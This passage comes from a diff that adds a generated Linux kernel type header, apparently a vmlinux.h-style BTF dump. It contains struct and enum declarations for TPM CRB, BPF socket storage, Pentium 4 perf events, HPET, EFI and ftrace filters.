CRB_CTRL_REQ_GO_IDLE = 2, +}; + +enum crb_ctrl_sts { + CRB_CTRL_STS_ERROR = 1, + CRB_CTRL_STS_TPM_IDLE = 2, +}; + +enum crb_start { + CRB_START_INVOKE = 1, +}; + +enum crb_cancel { + CRB_CANCEL_INVOKE = 1, +}; + +struct crb_regs_head { + u32 loc_state; + u32 reserved1; + u32 loc_ctrl; + u32 loc_sts; + u8 reserved2[32]; + u64 intf_id; + u64 ctrl_ext; +}; + +struct crb_regs_tail { + u32 ctrl_req; + u32 ctrl_sts; + u32 ctrl_cancel; + u32 ctrl_start; + u32 ctrl_int_enable; + u32 ctrl_int_sts; + u32 ctrl_cmd_size; + u32 ctrl_cmd_pa_low; + u32 ctrl_cmd_pa_high; + u32 ctrl_rsp_size; + u64 ctrl_rsp_pa; +}; + +enum crb_status { + CRB_DRV_STS_COMPLETE = 1, +}; + +struct crb_priv { + u32 sm; + const char *hid; + struct crb_regs_head *regs_h; + struct crb_regs_tail *regs_t; + u8 *cmd; + u8 *rsp; + u32 cmd_size; + u32 smc_func_id; + u32 *pluton_start_addr; + u32 *pluton_reply_addr; +}; + +struct tpm2_crb_smc { + u32 interrupt; + u8 interrupt_flags; + u8 op_flags; + u16 reserved2; + u32 smc_func_id; +}; + +struct tpm2_crb_pluton { + u64 start_addr; + u64 reply_addr; +}; + +struct brd_device { + int brd_number; + struct gendisk *brd_disk; + struct list_head brd_list; + spinlock_t brd_lock; + struct xarray brd_pages; + u64 brd_nr_pages; +}; + +struct nsim_dev_hwstats_netdev { + struct list_head list; + struct net_device *netdev; + struct rtnl_hw_stats64 stats; + bool enabled; + bool fail_enable; +}; + +enum nsim_dev_hwstats_do { + NSIM_DEV_HWSTATS_DO_DISABLE = 0, + NSIM_DEV_HWSTATS_DO_ENABLE = 1, + NSIM_DEV_HWSTATS_DO_FAIL = 2, +}; + +struct nsim_dev_hwstats_fops { + const struct file_operations fops; + enum nsim_dev_hwstats_do action; + enum netdev_offload_xstats_type type; +}; + +struct of_bus; + +struct of_pci_range_parser { + struct device_node *node; + struct of_bus *bus; + const __be32 *range; + const __be32 *end; + int na; + int ns; + int pna; + bool dma; +}; + +struct of_pci_range { + union { + u64 pci_addr; + u64 bus_addr; + }; + u64 cpu_addr; + u64 size; + u32 flags; +}; + +enum { + M_I17 = 0, + M_I20 = 1, + M_I20_SR = 2, + M_I24 = 3, + M_I24_8_1 = 4, + M_I24_10_1 = 5, + M_I27_11_1 = 6, + M_MINI = 7, + M_MINI_3_1 = 8, + M_MINI_4_1 = 9, + M_MB = 10, + M_MB_2 = 11, + M_MB_3 = 12, + M_MB_5_1 = 13, + M_MB_6_1 = 14, + M_MB_7_1 = 15, + M_MB_SR = 16, + M_MBA = 17, + M_MBA_3 = 18, + M_MBP = 19, + M_MBP_2 = 20, + M_MBP_2_2 = 21, + M_MBP_SR = 22, + M_MBP_4 = 23, + M_MBP_5_1 = 24, + M_MBP_5_2 = 25, + M_MBP_5_3 = 26, + M_MBP_6_1 = 27, + M_MBP_6_2 = 28, + M_MBP_7_1 = 29, + M_MBP_8_2 = 30, + M_UNKNOWN = 31, +}; + +enum { + OVERRIDE_NONE = 0, + OVERRIDE_BASE = 1, + OVERRIDE_STRIDE = 2, + OVERRIDE_HEIGHT = 4, + OVERRIDE_WIDTH = 8, +}; + +enum { + SK_DIAG_BPF_STORAGE_REQ_NONE = 0, + SK_DIAG_BPF_STORAGE_REQ_MAP_FD = 1, + __SK_DIAG_BPF_STORAGE_REQ_MAX = 2, +}; + +enum { + SK_DIAG_BPF_STORAGE_REP_NONE = 0, + SK_DIAG_BPF_STORAGE = 1, + __SK_DIAG_BPF_STORAGE_REP_MAX = 2, +}; + +enum { + SK_DIAG_BPF_STORAGE_NONE = 0, + SK_DIAG_BPF_STORAGE_PAD = 1, + SK_DIAG_BPF_STORAGE_MAP_ID = 2, + SK_DIAG_BPF_STORAGE_MAP_VALUE = 3, + __SK_DIAG_BPF_STORAGE_MAX = 4, +}; + +typedef u64 (*btf_bpf_sk_storage_get)(struct bpf_map *, struct sock *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_sk_storage_delete)(struct bpf_map *, struct sock *); + +typedef u64 (*btf_bpf_sk_storage_get_tracing)(struct bpf_map *, struct sock *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_sk_storage_delete_tracing)(struct bpf_map *, struct sock *); + +struct bpf_sk_storage_diag { + u32 nr_maps; + struct bpf_map *maps[0]; +}; + +struct bpf_iter_seq_sk_storage_map_info { + struct bpf_map *map; + unsigned int bucket_id; + unsigned int skip_elems; +}; + +struct bpf_iter__bpf_sk_storage_map { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; + union { + struct sock *sk; + }; + union { + void *value; + }; +}; + +struct nf_synproxy_info { + __u8 options; + __u8 wscale; + __u16 mss; +}; + +struct synproxy_stats { + unsigned int syn_received; + unsigned int cookie_invalid; + unsigned int cookie_valid; + unsigned int cookie_retrans; + unsigned int conn_reopened; +}; + +struct synproxy_net { + struct nf_conn *tmpl; + struct synproxy_stats *stats; + unsigned int hook_ref4; + unsigned int hook_ref6; +}; + +struct synproxy_options { + u8 options; + u8 wscale; + u16 mss_option; + u16 mss_encode; + u32 tsval; + u32 tsecr; +}; + +enum { + NLBL_UNLABEL_C_UNSPEC = 0, + NLBL_UNLABEL_C_ACCEPT = 1, + NLBL_UNLABEL_C_LIST = 2, + NLBL_UNLABEL_C_STATICADD = 3, + NLBL_UNLABEL_C_STATICREMOVE = 4, + NLBL_UNLABEL_C_STATICLIST = 5, + NLBL_UNLABEL_C_STATICADDDEF = 6, + NLBL_UNLABEL_C_STATICREMOVEDEF = 7, + NLBL_UNLABEL_C_STATICLISTDEF = 8, + __NLBL_UNLABEL_C_MAX = 9, +}; + +enum { + NLBL_UNLABEL_A_UNSPEC = 0, + NLBL_UNLABEL_A_ACPTFLG = 1, + NLBL_UNLABEL_A_IPV6ADDR = 2, + NLBL_UNLABEL_A_IPV6MASK = 3, + NLBL_UNLABEL_A_IPV4ADDR = 4, + NLBL_UNLABEL_A_IPV4MASK = 5, + NLBL_UNLABEL_A_IFACE = 6, + NLBL_UNLABEL_A_SECCTX = 7, + __NLBL_UNLABEL_A_MAX = 8, +}; + +struct netlbl_unlhsh_tbl { + struct list_head *tbl; + u32 size; +}; + +struct netlbl_unlhsh_addr4 { + u32 secid; + struct netlbl_af4list list; + struct callback_head rcu; +}; + +struct netlbl_unlhsh_addr6 { + u32 secid; + struct netlbl_af6list list; + struct callback_head rcu; +}; + +struct netlbl_unlhsh_iface { + int ifindex; + struct list_head addr4_list; + struct list_head addr6_list; + u32 valid; + struct list_head list; + struct callback_head rcu; +}; + +struct netlbl_unlhsh_walk_arg { + struct netlink_callback *nl_cb; + struct sk_buff *skb; + u32 seq; +}; + +struct csum_pseudo_header { + __be64 data_seq; + __be32 subflow_seq; + __be16 data_len; + __sum16 csum; +}; + +enum P4_EVENTS { + P4_EVENT_TC_DELIVER_MODE = 0, + P4_EVENT_BPU_FETCH_REQUEST = 1, + P4_EVENT_ITLB_REFERENCE = 2, + P4_EVENT_MEMORY_CANCEL = 3, + P4_EVENT_MEMORY_COMPLETE = 4, + P4_EVENT_LOAD_PORT_REPLAY = 5, + P4_EVENT_STORE_PORT_REPLAY = 6, + P4_EVENT_MOB_LOAD_REPLAY = 7, + P4_EVENT_PAGE_WALK_TYPE = 8, + P4_EVENT_BSQ_CACHE_REFERENCE = 9, + P4_EVENT_IOQ_ALLOCATION = 10, + P4_EVENT_IOQ_ACTIVE_ENTRIES = 11, + P4_EVENT_FSB_DATA_ACTIVITY = 12, + P4_EVENT_BSQ_ALLOCATION = 13, + P4_EVENT_BSQ_ACTIVE_ENTRIES = 14, + P4_EVENT_SSE_INPUT_ASSIST = 15, + P4_EVENT_PACKED_SP_UOP = 16, + P4_EVENT_PACKED_DP_UOP = 17, + P4_EVENT_SCALAR_SP_UOP = 18, + P4_EVENT_SCALAR_DP_UOP = 19, + P4_EVENT_64BIT_MMX_UOP = 20, + P4_EVENT_128BIT_MMX_UOP = 21, + P4_EVENT_X87_FP_UOP = 22, + P4_EVENT_TC_MISC = 23, + P4_EVENT_GLOBAL_POWER_EVENTS = 24, + P4_EVENT_TC_MS_XFER = 25, + P4_EVENT_UOP_QUEUE_WRITES = 26, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE = 27, + P4_EVENT_RETIRED_BRANCH_TYPE = 28, + P4_EVENT_RESOURCE_STALL = 29, + P4_EVENT_WC_BUFFER = 30, + P4_EVENT_B2B_CYCLES = 31, + P4_EVENT_BNR = 32, + P4_EVENT_SNOOP = 33, + P4_EVENT_RESPONSE = 34, + P4_EVENT_FRONT_END_EVENT = 35, + P4_EVENT_EXECUTION_EVENT = 36, + P4_EVENT_REPLAY_EVENT = 37, + P4_EVENT_INSTR_RETIRED = 38, + P4_EVENT_UOPS_RETIRED = 39, + P4_EVENT_UOP_TYPE = 40, + P4_EVENT_BRANCH_RETIRED = 41, + P4_EVENT_MISPRED_BRANCH_RETIRED = 42, + P4_EVENT_X87_ASSIST = 43, + P4_EVENT_MACHINE_CLEAR = 44, + P4_EVENT_INSTR_COMPLETED = 45, +}; + +enum P4_EVENT_OPCODES { + P4_EVENT_TC_DELIVER_MODE_OPCODE = 257, + P4_EVENT_BPU_FETCH_REQUEST_OPCODE = 768, + P4_EVENT_ITLB_REFERENCE_OPCODE = 6147, + P4_EVENT_MEMORY_CANCEL_OPCODE = 517, + P4_EVENT_MEMORY_COMPLETE_OPCODE = 2050, + P4_EVENT_LOAD_PORT_REPLAY_OPCODE = 1026, + P4_EVENT_STORE_PORT_REPLAY_OPCODE = 1282, + P4_EVENT_MOB_LOAD_REPLAY_OPCODE = 770, + P4_EVENT_PAGE_WALK_TYPE_OPCODE = 260, + P4_EVENT_BSQ_CACHE_REFERENCE_OPCODE = 3079, + P4_EVENT_IOQ_ALLOCATION_OPCODE = 774, + P4_EVENT_IOQ_ACTIVE_ENTRIES_OPCODE = 6662, + P4_EVENT_FSB_DATA_ACTIVITY_OPCODE = 5894, + P4_EVENT_BSQ_ALLOCATION_OPCODE = 1287, + P4_EVENT_BSQ_ACTIVE_ENTRIES_OPCODE = 1543, + P4_EVENT_SSE_INPUT_ASSIST_OPCODE = 13313, + P4_EVENT_PACKED_SP_UOP_OPCODE = 2049, + P4_EVENT_PACKED_DP_UOP_OPCODE = 3073, + P4_EVENT_SCALAR_SP_UOP_OPCODE = 2561, + P4_EVENT_SCALAR_DP_UOP_OPCODE = 3585, + P4_EVENT_64BIT_MMX_UOP_OPCODE = 513, + P4_EVENT_128BIT_MMX_UOP_OPCODE = 6657, + P4_EVENT_X87_FP_UOP_OPCODE = 1025, + P4_EVENT_TC_MISC_OPCODE = 1537, + P4_EVENT_GLOBAL_POWER_EVENTS_OPCODE = 4870, + P4_EVENT_TC_MS_XFER_OPCODE = 1280, + P4_EVENT_UOP_QUEUE_WRITES_OPCODE = 2304, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE_OPCODE = 1282, + P4_EVENT_RETIRED_BRANCH_TYPE_OPCODE = 1026, + P4_EVENT_RESOURCE_STALL_OPCODE = 257, + P4_EVENT_WC_BUFFER_OPCODE = 1285, + P4_EVENT_B2B_CYCLES_OPCODE = 5635, + P4_EVENT_BNR_OPCODE = 2051, + P4_EVENT_SNOOP_OPCODE = 1539, + P4_EVENT_RESPONSE_OPCODE = 1027, + P4_EVENT_FRONT_END_EVENT_OPCODE = 2053, + P4_EVENT_EXECUTION_EVENT_OPCODE = 3077, + P4_EVENT_REPLAY_EVENT_OPCODE = 2309, + P4_EVENT_INSTR_RETIRED_OPCODE = 516, + P4_EVENT_UOPS_RETIRED_OPCODE = 260, + P4_EVENT_UOP_TYPE_OPCODE = 514, + P4_EVENT_BRANCH_RETIRED_OPCODE = 1541, + P4_EVENT_MISPRED_BRANCH_RETIRED_OPCODE = 772, + P4_EVENT_X87_ASSIST_OPCODE = 773, + P4_EVENT_MACHINE_CLEAR_OPCODE = 517, + P4_EVENT_INSTR_COMPLETED_OPCODE = 1796, +}; + +enum P4_ESCR_EMASKS { + P4_EVENT_TC_DELIVER_MODE__DD = 512, + P4_EVENT_TC_DELIVER_MODE__DB = 1024, + P4_EVENT_TC_DELIVER_MODE__DI = 2048, + P4_EVENT_TC_DELIVER_MODE__BD = 4096, + P4_EVENT_TC_DELIVER_MODE__BB = 8192, + P4_EVENT_TC_DELIVER_MODE__BI = 16384, + P4_EVENT_TC_DELIVER_MODE__ID = 32768, + P4_EVENT_BPU_FETCH_REQUEST__TCMISS = 512, + P4_EVENT_ITLB_REFERENCE__HIT = 512, + P4_EVENT_ITLB_REFERENCE__MISS = 1024, + P4_EVENT_ITLB_REFERENCE__HIT_UK = 2048, + P4_EVENT_MEMORY_CANCEL__ST_RB_FULL = 2048, + P4_EVENT_MEMORY_CANCEL__64K_CONF = 4096, + P4_EVENT_MEMORY_COMPLETE__LSC = 512, + P4_EVENT_MEMORY_COMPLETE__SSC = 1024, + P4_EVENT_LOAD_PORT_REPLAY__SPLIT_LD = 1024, + P4_EVENT_STORE_PORT_REPLAY__SPLIT_ST = 1024, + P4_EVENT_MOB_LOAD_REPLAY__NO_STA = 1024, + P4_EVENT_MOB_LOAD_REPLAY__NO_STD = 4096, + P4_EVENT_MOB_LOAD_REPLAY__PARTIAL_DATA = 8192, + P4_EVENT_MOB_LOAD_REPLAY__UNALGN_ADDR = 16384, + P4_EVENT_PAGE_WALK_TYPE__DTMISS = 512, + P4_EVENT_PAGE_WALK_TYPE__ITMISS = 1024, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITS = 512, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITE = 1024, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITM = 2048, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITS = 4096, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITE = 8192, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITM = 16384, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_MISS = 131072, + P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_MISS = 262144, + P4_EVENT_BSQ_CACHE_REFERENCE__WR_2ndL_MISS = 524288, + P4_EVENT_IOQ_ALLOCATION__DEFAULT = 512, + P4_EVENT_IOQ_ALLOCATION__ALL_READ = 16384, + P4_EVENT_IOQ_ALLOCATION__ALL_WRITE = 32768, + P4_EVENT_IOQ_ALLOCATION__MEM_UC = 65536, + P4_EVENT_IOQ_ALLOCATION__MEM_WC = 131072, + P4_EVENT_IOQ_ALLOCATION__MEM_WT = 262144, + P4_EVENT_IOQ_ALLOCATION__MEM_WP = 524288, + P4_EVENT_IOQ_ALLOCATION__MEM_WB = 1048576, + P4_EVENT_IOQ_ALLOCATION__OWN = 4194304, + P4_EVENT_IOQ_ALLOCATION__OTHER = 8388608, + P4_EVENT_IOQ_ALLOCATION__PREFETCH = 16777216, + P4_EVENT_IOQ_ACTIVE_ENTRIES__DEFAULT = 512, + P4_EVENT_IOQ_ACTIVE_ENTRIES__ALL_READ = 16384, + P4_EVENT_IOQ_ACTIVE_ENTRIES__ALL_WRITE = 32768, + P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_UC = 65536, + P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WC = 131072, + P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WT = 262144, + P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WP = 524288, + P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WB = 1048576, + P4_EVENT_IOQ_ACTIVE_ENTRIES__OWN = 4194304, + P4_EVENT_IOQ_ACTIVE_ENTRIES__OTHER = 8388608, + P4_EVENT_IOQ_ACTIVE_ENTRIES__PREFETCH = 16777216, + P4_EVENT_FSB_DATA_ACTIVITY__DRDY_DRV = 512, + P4_EVENT_FSB_DATA_ACTIVITY__DRDY_OWN = 1024, + P4_EVENT_FSB_DATA_ACTIVITY__DRDY_OTHER = 2048, + P4_EVENT_FSB_DATA_ACTIVITY__DBSY_DRV = 4096, + P4_EVENT_FSB_DATA_ACTIVITY__DBSY_OWN = 8192, + P4_EVENT_FSB_DATA_ACTIVITY__DBSY_OTHER = 16384, + P4_EVENT_BSQ_ALLOCATION__REQ_TYPE0 = 512, + P4_EVENT_BSQ_ALLOCATION__REQ_TYPE1 = 1024, + P4_EVENT_BSQ_ALLOCATION__REQ_LEN0 = 2048, + P4_EVENT_BSQ_ALLOCATION__REQ_LEN1 = 4096, + P4_EVENT_BSQ_ALLOCATION__REQ_IO_TYPE = 16384, + P4_EVENT_BSQ_ALLOCATION__REQ_LOCK_TYPE = 32768, + P4_EVENT_BSQ_ALLOCATION__REQ_CACHE_TYPE = 65536, + P4_EVENT_BSQ_ALLOCATION__REQ_SPLIT_TYPE = 131072, + P4_EVENT_BSQ_ALLOCATION__REQ_DEM_TYPE = 262144, + P4_EVENT_BSQ_ALLOCATION__REQ_ORD_TYPE = 524288, + P4_EVENT_BSQ_ALLOCATION__MEM_TYPE0 = 1048576, + P4_EVENT_BSQ_ALLOCATION__MEM_TYPE1 = 2097152, + P4_EVENT_BSQ_ALLOCATION__MEM_TYPE2 = 4194304, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_TYPE0 = 512, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_TYPE1 = 1024, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LEN0 = 2048, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LEN1 = 4096, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_IO_TYPE = 16384, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LOCK_TYPE = 32768, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_CACHE_TYPE = 65536, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_SPLIT_TYPE = 131072, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_DEM_TYPE = 262144, + P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_ORD_TYPE = 524288, + P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE0 = 1048576, + P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE1 = 2097152, + P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE2 = 4194304, + P4_EVENT_SSE_INPUT_ASSIST__ALL = 16777216, + P4_EVENT_PACKED_SP_UOP__ALL = 16777216, + P4_EVENT_PACKED_DP_UOP__ALL = 16777216, + P4_EVENT_SCALAR_SP_UOP__ALL = 16777216, + P4_EVENT_SCALAR_DP_UOP__ALL = 16777216, + P4_EVENT_64BIT_MMX_UOP__ALL = 16777216, + P4_EVENT_128BIT_MMX_UOP__ALL = 16777216, + P4_EVENT_X87_FP_UOP__ALL = 16777216, + P4_EVENT_TC_MISC__FLUSH = 8192, + P4_EVENT_GLOBAL_POWER_EVENTS__RUNNING = 512, + P4_EVENT_TC_MS_XFER__CISC = 512, + P4_EVENT_UOP_QUEUE_WRITES__FROM_TC_BUILD = 512, + P4_EVENT_UOP_QUEUE_WRITES__FROM_TC_DELIVER = 1024, + P4_EVENT_UOP_QUEUE_WRITES__FROM_ROM = 2048, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__CONDITIONAL = 1024, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__CALL = 2048, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__RETURN = 4096, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__INDIRECT = 8192, + P4_EVENT_RETIRED_BRANCH_TYPE__CONDITIONAL = 1024, + P4_EVENT_RETIRED_BRANCH_TYPE__CALL = 2048, + P4_EVENT_RETIRED_BRANCH_TYPE__RETURN = 4096, + P4_EVENT_RETIRED_BRANCH_TYPE__INDIRECT = 8192, + P4_EVENT_RESOURCE_STALL__SBFULL = 16384, + P4_EVENT_WC_BUFFER__WCB_EVICTS = 512, + P4_EVENT_WC_BUFFER__WCB_FULL_EVICTS = 1024, + P4_EVENT_FRONT_END_EVENT__NBOGUS = 512, + P4_EVENT_FRONT_END_EVENT__BOGUS = 1024, + P4_EVENT_EXECUTION_EVENT__NBOGUS0 = 512, + P4_EVENT_EXECUTION_EVENT__NBOGUS1 = 1024, + P4_EVENT_EXECUTION_EVENT__NBOGUS2 = 2048, + P4_EVENT_EXECUTION_EVENT__NBOGUS3 = 4096, + P4_EVENT_EXECUTION_EVENT__BOGUS0 = 8192, + P4_EVENT_EXECUTION_EVENT__BOGUS1 = 16384, + P4_EVENT_EXECUTION_EVENT__BOGUS2 = 32768, + P4_EVENT_EXECUTION_EVENT__BOGUS3 = 65536, + P4_EVENT_REPLAY_EVENT__NBOGUS = 512, + P4_EVENT_REPLAY_EVENT__BOGUS = 1024, + P4_EVENT_INSTR_RETIRED__NBOGUSNTAG = 512, + P4_EVENT_INSTR_RETIRED__NBOGUSTAG = 1024, + P4_EVENT_INSTR_RETIRED__BOGUSNTAG = 2048, + P4_EVENT_INSTR_RETIRED__BOGUSTAG = 4096, + P4_EVENT_UOPS_RETIRED__NBOGUS = 512, + P4_EVENT_UOPS_RETIRED__BOGUS = 1024, + P4_EVENT_UOP_TYPE__TAGLOADS = 1024, + P4_EVENT_UOP_TYPE__TAGSTORES = 2048, + P4_EVENT_BRANCH_RETIRED__MMNP = 512, + P4_EVENT_BRANCH_RETIRED__MMNM = 1024, + P4_EVENT_BRANCH_RETIRED__MMTP = 2048, + P4_EVENT_BRANCH_RETIRED__MMTM = 4096, + P4_EVENT_MISPRED_BRANCH_RETIRED__NBOGUS = 512, + P4_EVENT_X87_ASSIST__FPSU = 512, + P4_EVENT_X87_ASSIST__FPSO = 1024, + P4_EVENT_X87_ASSIST__POAO = 2048, + P4_EVENT_X87_ASSIST__POAU = 4096, + P4_EVENT_X87_ASSIST__PREA = 8192, + P4_EVENT_MACHINE_CLEAR__CLEAR = 512, + P4_EVENT_MACHINE_CLEAR__MOCLEAR = 1024, + P4_EVENT_MACHINE_CLEAR__SMCLEAR = 2048, + P4_EVENT_INSTR_COMPLETED__NBOGUS = 512, + P4_EVENT_INSTR_COMPLETED__BOGUS = 1024, +}; + +enum P4_PEBS_METRIC { + P4_PEBS_METRIC__none = 0, + P4_PEBS_METRIC__1stl_cache_load_miss_retired = 1, + P4_PEBS_METRIC__2ndl_cache_load_miss_retired = 2, + P4_PEBS_METRIC__dtlb_load_miss_retired = 3, + P4_PEBS_METRIC__dtlb_store_miss_retired = 4, + P4_PEBS_METRIC__dtlb_all_miss_retired = 5, + P4_PEBS_METRIC__tagged_mispred_branch = 6, + P4_PEBS_METRIC__mob_load_replay_retired = 7, + P4_PEBS_METRIC__split_load_retired = 8, + P4_PEBS_METRIC__split_store_retired = 9, + P4_PEBS_METRIC__max = 10, +}; + +struct p4_event_bind { + unsigned int opcode; + unsigned int escr_msr[2]; + unsigned int escr_emask; + unsigned int shared; + signed char cntr[6]; +}; + +struct p4_pebs_bind { + unsigned int metric_pebs; + unsigned int metric_vert; +}; + +struct p4_event_alias { + u64 original; + u64 alternative; +}; + +struct tsc_adjust { + s64 bootval; + s64 adjusted; + long unsigned int nextcheck; + bool warned; +}; + +enum hpet_mode { + HPET_MODE_UNUSED = 0, + HPET_MODE_LEGACY = 1, + HPET_MODE_CLOCKEVT = 2, + HPET_MODE_DEVICE = 3, +}; + +struct hpet_channel { + struct clock_event_device evt; + unsigned int num; + unsigned int cpu; + unsigned int irq; + unsigned int in_use; + enum hpet_mode mode; + unsigned int boot_cfg; + char name[10]; + long: 64; + long: 64; + long: 64; +}; + +struct hpet_base { + unsigned int nr_channels; + unsigned int nr_clockevents; + unsigned int boot_cfg; + struct hpet_channel *channels; +}; + +union hpet_lock { + struct { + arch_spinlock_t lock; + u32 value; + }; + u64 lockval; +}; + +union efi_boot_services; + +typedef union efi_boot_services efi_boot_services_t; + +union efi_simple_text_input_protocol; + +typedef union efi_simple_text_input_protocol efi_simple_text_input_protocol_t; + +union efi_simple_text_output_protocol; + +typedef union efi_simple_text_output_protocol efi_simple_text_output_protocol_t; + +typedef union { + struct { + efi_table_hdr_t hdr; + long unsigned int fw_vendor; + u32 fw_revision; + long unsigned int con_in_handle; + efi_simple_text_input_protocol_t *con_in; + long unsigned int con_out_handle; + efi_simple_text_output_protocol_t *con_out; + long unsigned int stderr_handle; + long unsigned int stderr; + efi_runtime_services_t *runtime; + efi_boot_services_t *boottime; + long unsigned int nr_tables; + long unsigned int tables; + }; + efi_system_table_32_t mixed_mode; +} efi_system_table_t; + +struct semaphore_waiter { + struct list_head list; + struct task_struct *task; + bool up; +}; + +struct module_sect_attr { + struct bin_attribute battr; + long unsigned int address; +}; + +struct module_sect_attrs { + struct attribute_group grp; + unsigned int nsections; + struct module_sect_attr attrs[0]; +}; + +struct module_notes_attrs { + struct kobject *dir; + unsigned int notes; + struct bin_attribute attrs[0]; +}; + +typedef struct sigevent sigevent_t; + +struct filter_pred; + +struct prog_entry { + int target; + int when_to_branch; + struct filter_pred *pred; +}; + +struct regex; + +typedef int (*regex_match_func)(char *, struct regex *, int); + +struct regex { + char pattern[256]; + int len; + int field_len; + regex_match_func match; +}; + +enum filter_op_ids { + OP_GLOB = 0, + OP_NE = 1, + OP_EQ = 2, + OP_LE = 3, + OP_LT = 4, + OP_GE = 5, + OP_GT = 6, + OP_BAND = 7, + OP_MAX = 8, +}; + +enum filter_pred_fn { + FILTER_PRED_FN_NOP = 0, + FILTER_PRED_FN_64 = 1, + FILTER_PRED_FN_S64 = 2, + FILTER_PRED_FN_U64 = 3, + FILTER_PRED_FN_32 = 4, + FILTER_PRED_FN_S32 = 5, + FILTER_PRED_FN_U32 = 6, + FILTER_PRED_FN_16 = 7, + FILTER_PRED_FN_S16 = 8, + FILTER_PRED_FN_U16 = 9, + FILTER_PRED_FN_8 = 10, + FILTER_PRED_FN_S8 = 11, + FILTER_PRED_FN_U8 = 12, + FILTER_PRED_FN_COMM = 13, + FILTER_PRED_FN_STRING = 14, + FILTER_PRED_FN_STRLOC = 15, + FILTER_PRED_FN_STRRELLOC = 16, + FILTER_PRED_FN_PCHAR_USER = 17, + FILTER_PRED_FN_PCHAR = 18, + FILTER_PRED_FN_CPU = 19, + FILTER_PRED_FN_FUNCTION = 20, + FILTER_PRED_FN_ = 21, + FILTER_PRED_TEST_VISITED = 22, +}; + +struct filter_pred { + enum filter_pred_fn fn_num; + u64 val; + u64 val2; + struct regex regex; + short unsigned int *ops; + struct ftrace_event_field *field; + int offset; + int not; + int op; +}; + +enum { + FILT_ERR_NONE = 0, + FILT_ERR_INVALID_OP = 1, + FILT_ERR_TOO_MANY_OPEN = 2, + FILT_ERR_TOO_MANY_CLOSE = 3, + FILT_ERR_MISSING_QUOTE = 4, + FILT_ERR_OPERAND_TOO_LONG = 5, + FILT_ERR_EXPECT_STRING = 6, + FILT_ERR_EXPECT_DIGIT = 7, + FILT_ERR_ILLEGAL_FIELD_OP = 8, + FILT_ERR_FIELD_NOT_FOUND = 9, + FILT_ERR_ILLEGAL_INTVAL = 10, + FILT_ERR_BAD_SUBSYS_FILTER = 11, + FILT_ERR_TOO_MANY_PREDS = 12, + FILT_ERR_INVALID_FILTER = 13, + FILT_ERR_IP_FIELD_ONLY = 14, + FILT_ERR_INVALID_VALUE = 15, + FILT_ERR_NO_FUNCTION = 16, + FILT_ERR_ERRNO = 17, + FILT_ERR_NO_FILTER = 18, +}; + +struct filter_parse_error { + int lasterr; + int lasterr_pos; +}; + +typedef int (*parse_pred_fn)(const char *, void *, int, struct filter_parse_error *, struct filter_pred **); + +enum { + INVERT = 1, + PROCESS_AND = 2, + PROCESS_OR = 4, +}; + +struct ustring_buffer { + char buffer[1024]; +}; + +enum { + TOO_MANY_CLOSE = -1, + TOO_MANY_OPEN = -2, + MISSING_QUOTE = -3, +}; + +struct filter_list { + struct list_head list; + struct event_filter *filter; +}; + +struct function_filter_data { + struct ftrace_ops *ops; + int first_filter; + int first_notrace; +}; + +enum { + BTF_VAR_STATIC = 0, + BTF_VAR_GLOBAL_ALLOCATED = 1, + BTF_VAR_GLOBAL_EXTERN = 2, +}; + +struct btf_var { + __u32 linkage; +}; + +struct btf_decl_tag { + __s32 component_idx; +}; + +struct bpf_sockopt { + union { + struct bpf_sock *sk; + }; + union { + void *optval; + }; + union { + void *optval_end; + }; + __s32 level; + __s32 optname; + __s32 optlen; + __s32 retval; +}; + +struct btf_struct_metas { + u32 cnt; + struct btf_struct_meta types[0]; +}; + +enum { + BTF_FIELDS_MAX = 10, +}; + +enum btf_kfunc_hook { + BTF_KFUNC_HOOK_COMMON = 0, + BTF_KFUNC_HOOK_XDP = 1, + BTF_KFUNC_HOOK_TC = 2, + BTF_KFUNC_HOOK_STRUCT_OPS = 3, + BTF_KFUNC_HOOK_TRACING = 4, + BTF_KFUNC_HOOK_SYSCALL = 5, + BTF_KFUNC_HOOK_FMODRET = 6, + BTF_KFUNC_HOOK_CGROUP_SKB = 7, + BTF_KFUNC_HOOK_SCHED_ACT = 8, + BTF_KFUNC_HOOK_SK_SKB = 9, + BTF_KFUNC_HOOK_SOCKET_FILTER = 10, + BTF_KFUNC_HOOK_LWT = 11, + BTF_KFUNC_HOOK_NETFILTER = 12, + BTF_KFUNC_HOOK_MAX = 13, +}; + +enum { + BTF_KFUNC_SET_MAX_CNT = 256, + BTF_DTOR_KFUNC_MAX_CNT = 256, + BTF_KFUNC_FILTER_MAX_CNT = 16, +}; + +struct btf_kfunc_hook_filter { + 